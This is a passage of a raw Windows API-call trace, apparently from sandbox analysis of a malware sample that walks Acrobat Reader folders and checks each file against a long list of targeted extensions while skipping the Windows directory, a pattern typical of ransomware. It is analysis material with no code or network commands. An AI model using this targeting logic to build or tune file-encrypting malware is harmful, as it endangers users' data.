ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.738] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0198.738] lstrlenW (lpString="ui-strings.js") returned 13 [0198.738] lstrlenW (lpString=".1cd") returned 4 [0198.738] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0198.738] lstrlenW (lpString=".3ds") returned 4 [0198.738] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0198.738] lstrlenW (lpString=".3fr") returned 4 [0198.738] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0198.738] lstrlenW (lpString=".3g2") returned 4 [0198.738] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0198.738] lstrlenW (lpString=".3gp") returned 4 [0198.738] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0198.738] lstrlenW (lpString=".7z") returned 3 [0198.738] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0198.738] lstrlenW (lpString=".accda") returned 6 [0198.738] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0198.738] lstrlenW (lpString=".accdb") returned 6 [0198.738] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0198.738] lstrlenW (lpString=".accdc") returned 6 [0198.738] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0198.738] lstrlenW (lpString=".accde") returned 6 [0198.739] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0198.739] lstrlenW (lpString=".accdt") returned 6 [0198.739] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0198.739] lstrlenW (lpString=".accdw") returned 6 [0198.739] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0198.739] lstrlenW (lpString=".adb") returned 4 [0198.739] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0198.739] lstrlenW (lpString=".adp") returned 4 [0198.739] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0198.739] lstrlenW (lpString=".ai") returned 3 [0198.739] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0198.739] lstrlenW (lpString=".ai3") returned 4 [0198.739] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0198.739] lstrlenW (lpString=".ai4") returned 4 [0198.739] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0198.739] lstrlenW (lpString=".ai5") returned 4 [0198.739] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0198.739] lstrlenW (lpString=".ai6") returned 4 [0198.739] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0198.739] lstrlenW (lpString=".ai7") returned 4 [0198.739] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0198.739] lstrlenW (lpString=".ai8") returned 4 [0198.739] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0198.739] lstrlenW (lpString=".anim") returned 5 [0198.739] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0198.739] lstrlenW (lpString=".arw") returned 4 [0198.740] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0198.740] lstrlenW (lpString=".as") returned 3 [0198.740] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0198.740] lstrlenW (lpString=".asa") returned 4 [0198.740] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0198.740] lstrlenW (lpString=".asc") returned 4 [0198.740] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0198.740] lstrlenW (lpString=".ascx") returned 5 [0198.740] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0198.740] lstrlenW (lpString=".asm") returned 4 [0198.740] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0198.740] lstrlenW (lpString=".asmx") returned 5 [0198.740] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0198.740] lstrlenW (lpString=".asp") returned 4 [0198.740] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0198.740] lstrlenW (lpString=".aspx") returned 5 [0198.740] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0198.740] lstrlenW (lpString=".asr") returned 4 [0198.740] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0198.740] lstrlenW (lpString=".asx") returned 4 [0198.740] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0198.740] lstrlenW (lpString=".avi") returned 4 [0198.740] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0198.740] lstrlenW (lpString=".avs") returned 4 [0198.740] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0198.740] lstrlenW (lpString=".backup") returned 7 [0198.740] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0198.740] lstrlenW (lpString=".bak") returned 4 [0198.740] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0198.740] lstrlenW (lpString=".bay") returned 4 [0198.741] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0198.741] lstrlenW (lpString=".bd") returned 3 [0198.741] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0198.741] lstrlenW (lpString=".bin") returned 4 [0198.741] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0198.741] lstrlenW (lpString=".bmp") returned 4 [0198.741] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0198.741] lstrlenW (lpString=".bz2") returned 4 [0198.741] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0198.741] lstrlenW (lpString=".c") returned 2 [0198.741] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0198.741] lstrlenW (lpString=".cdr") returned 4 [0198.741] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0198.741] lstrlenW (lpString=".cer") returned 4 [0198.741] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0198.741] lstrlenW (lpString=".cf") returned 3 [0198.741] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0198.741] lstrlenW (lpString=".cfc") returned 4 [0198.741] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0198.741] lstrlenW (lpString=".cfm") returned 4 [0198.741] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0198.741] lstrlenW (lpString=".cfml") returned 5 [0198.741] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0198.741] lstrlenW (lpString=".cfu") returned 4 [0198.741] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0198.741] lstrlenW (lpString=".chm") returned 4 [0198.741] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0198.741] lstrlenW (lpString=".cin") returned 4 [0198.741] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0198.741] lstrlenW (lpString=".class") returned 6 [0198.742] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0198.742] lstrlenW (lpString=".clx") returned 4 [0198.742] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0198.742] lstrlenW (lpString=".config") returned 7 [0198.742] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0198.742] lstrlenW (lpString=".cpp") returned 4 [0198.742] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0198.742] lstrlenW (lpString=".cr2") returned 4 [0198.742] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0198.742] lstrlenW (lpString=".crt") returned 4 [0198.742] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0198.742] lstrlenW (lpString=".crw") returned 4 [0198.742] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0198.742] lstrlenW (lpString=".cs") returned 3 [0198.742] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0198.742] lstrlenW (lpString=".css") returned 4 [0198.742] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0198.742] lstrlenW (lpString=".csv") returned 4 [0198.742] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0198.742] lstrlenW (lpString=".cub") returned 4 [0198.742] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0198.742] lstrlenW (lpString=".dae") returned 4 [0198.742] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0198.742] lstrlenW (lpString=".dat") returned 4 [0198.742] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0198.742] lstrlenW (lpString=".db") returned 3 [0198.742] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0198.742] lstrlenW (lpString=".dbf") returned 4 [0198.742] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0198.742] lstrlenW (lpString=".dbx") returned 4 [0198.743] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0198.743] lstrlenW (lpString=".dc3") returned 4 [0198.743] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0198.743] lstrlenW (lpString=".dcm") returned 4 [0198.743] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0198.743] lstrlenW (lpString=".dcr") returned 4 [0198.743] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0198.743] lstrlenW (lpString=".der") returned 4 [0198.743] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0198.743] lstrlenW (lpString=".dib") returned 4 [0198.743] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0198.743] lstrlenW (lpString=".dic") returned 4 [0198.743] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0198.743] lstrlenW (lpString=".dif") returned 4 [0198.743] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0198.743] lstrlenW (lpString=".divx") returned 5 [0198.743] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0198.743] lstrlenW (lpString=".djvu") returned 5 [0198.743] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0198.743] lstrlenW (lpString=".dng") returned 4 [0198.743] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0198.743] lstrlenW (lpString=".doc") returned 4 [0198.743] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0198.743] lstrlenW (lpString=".docm") returned 5 [0198.743] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0198.743] lstrlenW (lpString=".docx") returned 5 [0198.743] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0198.743] lstrlenW (lpString=".dot") returned 4 [0198.744] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0198.744] lstrlenW (lpString=".dotm") returned 5 [0198.744] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0198.744] lstrlenW (lpString=".dotx") returned 5 [0198.744] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0198.744] lstrlenW (lpString=".dpx") returned 4 [0198.744] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0198.744] lstrlenW (lpString=".dqy") returned 4 [0198.744] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0198.744] lstrlenW (lpString=".dsn") returned 4 [0198.744] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0198.744] lstrlenW (lpString=".dt") returned 3 [0198.744] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0198.744] lstrlenW (lpString=".dtd") returned 4 [0198.744] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0198.744] lstrlenW (lpString=".dwg") returned 4 [0198.744] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0198.744] lstrlenW (lpString=".dwt") returned 4 [0198.744] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0198.744] lstrlenW (lpString=".dx") returned 3 [0198.744] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0198.744] lstrlenW (lpString=".dxf") returned 4 [0198.744] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0198.744] lstrlenW (lpString=".edml") returned 5 [0198.744] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0198.744] lstrlenW (lpString=".efd") returned 4 [0198.744] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0198.745] lstrlenW (lpString=".elf") returned 4 [0198.745] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0198.745] lstrlenW (lpString=".emf") returned 4 [0198.745] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0198.745] lstrlenW (lpString=".emz") returned 4 [0198.745] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0198.745] lstrlenW (lpString=".epf") returned 4 [0198.745] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0198.745] lstrlenW (lpString=".eps") returned 4 [0198.745] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0198.745] lstrlenW (lpString=".epsf") returned 5 [0198.745] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0198.745] lstrlenW (lpString=".epsp") returned 5 [0198.745] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0198.745] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0198.745] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0198.745] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x5490048 | out: hHeap=0x420000) returned 1 [0198.745] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0198.746] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420820 [0198.746] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.746] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0198.746] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0198.746] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0198.747] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x5490048 | out: hHeap=0x420000) returned 1 [0198.747] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0198.747] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420820 [0198.747] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.747] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0198.747] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0198.747] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0198.747] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x5490048 | out: hHeap=0x420000) returned 1 [0198.747] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0198.748] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb") returned 105 [0198.748] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb") returned 1 [0198.748] lstrlenW (lpString="en-gb") returned 5 [0198.748] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-gb") returned -1 [0198.748] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x5490048 [0198.748] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb") returned 105 [0198.748] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420820 [0198.748] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.748] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x315b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0198.748] lstrlenW (lpString="ui-strings.js") returned 13 [0198.748] lstrlenW (lpString=".1cd") returned 4 [0198.748] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0198.748] lstrlenW (lpString=".3ds") returned 4 [0198.748] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0198.748] lstrlenW (lpString=".3fr") returned 4 [0198.748] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0198.748] lstrlenW (lpString=".3g2") returned 4 [0198.748] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0198.748] lstrlenW (lpString=".3gp") returned 4 [0198.748] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0198.748] lstrlenW (lpString=".7z") returned 3 [0198.748] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0198.748] lstrlenW (lpString=".accda") returned 6 [0198.748] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0198.748] lstrlenW (lpString=".accdb") returned 6 [0198.749] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0198.749] lstrlenW (lpString=".accdc") returned 6 [0198.749] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0198.749] lstrlenW (lpString=".accde") returned 6 [0198.749] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0198.749] lstrlenW (lpString=".accdt") returned 6 [0198.749] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0198.749] lstrlenW (lpString=".accdw") returned 6 [0198.749] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0198.749] lstrlenW (lpString=".adb") returned 4 [0198.749] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0198.749] lstrlenW (lpString=".adp") returned 4 [0198.749] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0198.749] lstrlenW (lpString=".ai") returned 3 [0198.749] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0198.749] lstrlenW (lpString=".ai3") returned 4 [0198.749] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0198.749] lstrlenW (lpString=".ai4") returned 4 [0198.749] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0198.749] lstrlenW (lpString=".ai5") returned 4 [0198.749] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0198.749] lstrlenW (lpString=".ai6") returned 4 [0198.749] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0198.749] lstrlenW (lpString=".ai7") returned 4 [0198.749] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0198.749] lstrlenW (lpString=".ai8") returned 4 [0198.749] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0198.750] lstrlenW (lpString=".anim") returned 5 [0198.750] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0198.750] lstrlenW (lpString=".arw") returned 4 [0198.750] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0198.750] lstrlenW (lpString=".as") returned 3 [0198.750] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0198.750] lstrlenW (lpString=".asa") returned 4 [0198.750] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0198.750] lstrlenW (lpString=".asc") returned 4 [0198.750] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0198.750] lstrlenW (lpString=".ascx") returned 5 [0199.233] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0199.233] lstrlenW (lpString=".asm") returned 4 [0199.233] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0199.234] lstrlenW (lpString=".asmx") returned 5 [0199.234] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0199.234] lstrlenW (lpString=".asp") returned 4 [0199.234] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0199.234] lstrlenW (lpString=".aspx") returned 5 [0199.234] lstrcmpiW 